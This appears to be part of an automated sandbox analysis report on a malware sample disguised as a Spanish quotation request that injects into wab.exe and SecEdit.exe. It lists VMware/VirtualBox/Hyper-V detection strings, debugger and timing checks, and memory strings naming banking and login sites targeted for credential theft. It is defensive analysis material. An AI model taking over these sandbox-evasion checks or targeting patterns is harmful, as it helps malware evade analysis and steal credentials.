Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: 1150d71.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: firefox.exe, 00000013.00000002.1889026777.00000255DF8EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: 1150d71.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: 1150d71.12.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: 1150d71.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: 1150d71.12.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 1150d71.12.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: 1150d71.12.dr	Binary or memory string: AMC password management pageVMware20,11696501413
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: wab.exe, 0000000F.00000002.1667587369.00000000034C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&l
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 1150d71.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1150d71.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: 1150d71.12.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: 1150d71.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 1150d71.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792104250.000000000119F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc
Source: 1150d71.12.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: wab.exe, 00000011.00000002.1747546615.0000000002CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 1150d71.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 1150d71.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: 1150d71.12.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: 1150d71.12.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: 1150d71.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: 1150d71.12.dr	Binary or memory string: discord.comVMware20,11696501413f

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 4_2_0369D1C0 rdtsc

4_2_0369D1C0

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 4_2_00417553 LdrLoadDll,

4_2_00417553

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF367 mov eax, dword ptr fs:[00000030h]	4_2_036DF367
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036C437C mov eax, dword ptr fs:[00000030h]	4_2_036C437C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03627370 mov eax, dword ptr fs:[00000030h]	4_2_03627370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03627370 mov eax, dword ptr fs:[00000030h]	4_2_03627370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03627370 mov eax, dword ptr fs:[00000030h]	4_2_03627370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A2349 mov eax, dword ptr fs:[00000030h]	4_2_036A2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361D34C mov eax, dword ptr fs:[00000030h]	4_2_0361D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361D34C mov eax, dword ptr fs:[00000030h]	4_2_0361D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5341 mov eax, dword ptr fs:[00000030h]	4_2_036F5341
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619353 mov eax, dword ptr fs:[00000030h]	4_2_03619353
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619353 mov eax, dword ptr fs:[00000030h]	4_2_03619353
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov eax, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov eax, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov eax, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov ecx, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov eax, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A035C mov eax, dword ptr fs:[00000030h]	4_2_036A035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EA352 mov eax, dword ptr fs:[00000030h]	4_2_036EA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E132D mov eax, dword ptr fs:[00000030h]	4_2_036E132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E132D mov eax, dword ptr fs:[00000030h]	4_2_036E132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364F32A mov eax, dword ptr fs:[00000030h]	4_2_0364F32A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03617330 mov eax, dword ptr fs:[00000030h]	4_2_03617330
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A930B mov eax, dword ptr fs:[00000030h]	4_2_036A930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A930B mov eax, dword ptr fs:[00000030h]	4_2_036A930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A930B mov eax, dword ptr fs:[00000030h]	4_2_036A930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A30B mov eax, dword ptr fs:[00000030h]	4_2_0365A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A30B mov eax, dword ptr fs:[00000030h]	4_2_0365A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365A30B mov eax, dword ptr fs:[00000030h]	4_2_0365A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361C310 mov ecx, dword ptr fs:[00000030h]	4_2_0361C310
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03640310 mov ecx, dword ptr fs:[00000030h]	4_2_03640310
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036303E9 mov eax, dword ptr fs:[00000030h]	4_2_036303E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF3E6 mov eax, dword ptr fs:[00000030h]	4_2_036DF3E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F53FC mov eax, dword ptr fs:[00000030h]	4_2_036F53FC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0363E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0363E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0363E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036563FF mov eax, dword ptr fs:[00000030h]	4_2_036563FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DC3CD mov eax, dword ptr fs:[00000030h]	4_2_036DC3CD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0362A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036283C0 mov eax, dword ptr fs:[00000030h]	4_2_036283C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036283C0 mov eax, dword ptr fs:[00000030h]	4_2_036283C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036283C0 mov eax, dword ptr fs:[00000030h]	4_2_036283C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036283C0 mov eax, dword ptr fs:[00000030h]	4_2_036283C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DB3D0 mov ecx, dword ptr fs:[00000030h]	4_2_036DB3D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036433A5 mov eax, dword ptr fs:[00000030h]	4_2_036433A5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036533A0 mov eax, dword ptr fs:[00000030h]	4_2_036533A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036533A0 mov eax, dword ptr fs:[00000030h]	4_2_036533A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361E388 mov eax, dword ptr fs:[00000030h]	4_2_0361E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361E388 mov eax, dword ptr fs:[00000030h]	4_2_0361E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361E388 mov eax, dword ptr fs:[00000030h]	4_2_0361E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364438F mov eax, dword ptr fs:[00000030h]	4_2_0364438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364438F mov eax, dword ptr fs:[00000030h]	4_2_0364438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F539D mov eax, dword ptr fs:[00000030h]	4_2_036F539D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03618397 mov eax, dword ptr fs:[00000030h]	4_2_03618397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03618397 mov eax, dword ptr fs:[00000030h]	4_2_03618397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03618397 mov eax, dword ptr fs:[00000030h]	4_2_03618397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0367739A mov eax, dword ptr fs:[00000030h]	4_2_0367739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0367739A mov eax, dword ptr fs:[00000030h]	4_2_0367739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03624260 mov eax, dword ptr fs:[00000030h]	4_2_03624260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03624260 mov eax, dword ptr fs:[00000030h]	4_2_03624260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03624260 mov eax, dword ptr fs:[00000030h]	4_2_03624260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036ED26B mov eax, dword ptr fs:[00000030h]	4_2_036ED26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036ED26B mov eax, dword ptr fs:[00000030h]	4_2_036ED26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361826B mov eax, dword ptr fs:[00000030h]	4_2_0361826B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03649274 mov eax, dword ptr fs:[00000030h]	4_2_03649274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03661270 mov eax, dword ptr fs:[00000030h]	4_2_03661270
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03661270 mov eax, dword ptr fs:[00000030h]	4_2_03661270
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0274 mov eax, dword ptr fs:[00000030h]	4_2_036D0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619240 mov eax, dword ptr fs:[00000030h]	4_2_03619240
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619240 mov eax, dword ptr fs:[00000030h]	4_2_03619240
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365724D mov eax, dword ptr fs:[00000030h]	4_2_0365724D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A250 mov eax, dword ptr fs:[00000030h]	4_2_0361A250
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DB256 mov eax, dword ptr fs:[00000030h]	4_2_036DB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DB256 mov eax, dword ptr fs:[00000030h]	4_2_036DB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03626259 mov eax, dword ptr fs:[00000030h]	4_2_03626259
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5227 mov eax, dword ptr fs:[00000030h]	4_2_036F5227
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361823B mov eax, dword ptr fs:[00000030h]	4_2_0361823B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03657208 mov eax, dword ptr fs:[00000030h]	4_2_03657208
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03657208 mov eax, dword ptr fs:[00000030h]	4_2_03657208
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D12ED mov eax, dword ptr fs:[00000030h]	4_2_036D12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036302E1 mov eax, dword ptr fs:[00000030h]	4_2_036302E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036302E1 mov eax, dword ptr fs:[00000030h]	4_2_036302E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036302E1 mov eax, dword ptr fs:[00000030h]	4_2_036302E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F52E2 mov eax, dword ptr fs:[00000030h]	4_2_036F52E2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DF2F8 mov eax, dword ptr fs:[00000030h]	4_2_036DF2F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036192FF mov eax, dword ptr fs:[00000030h]	4_2_036192FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0362A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0362A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0362A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0362A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0362A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
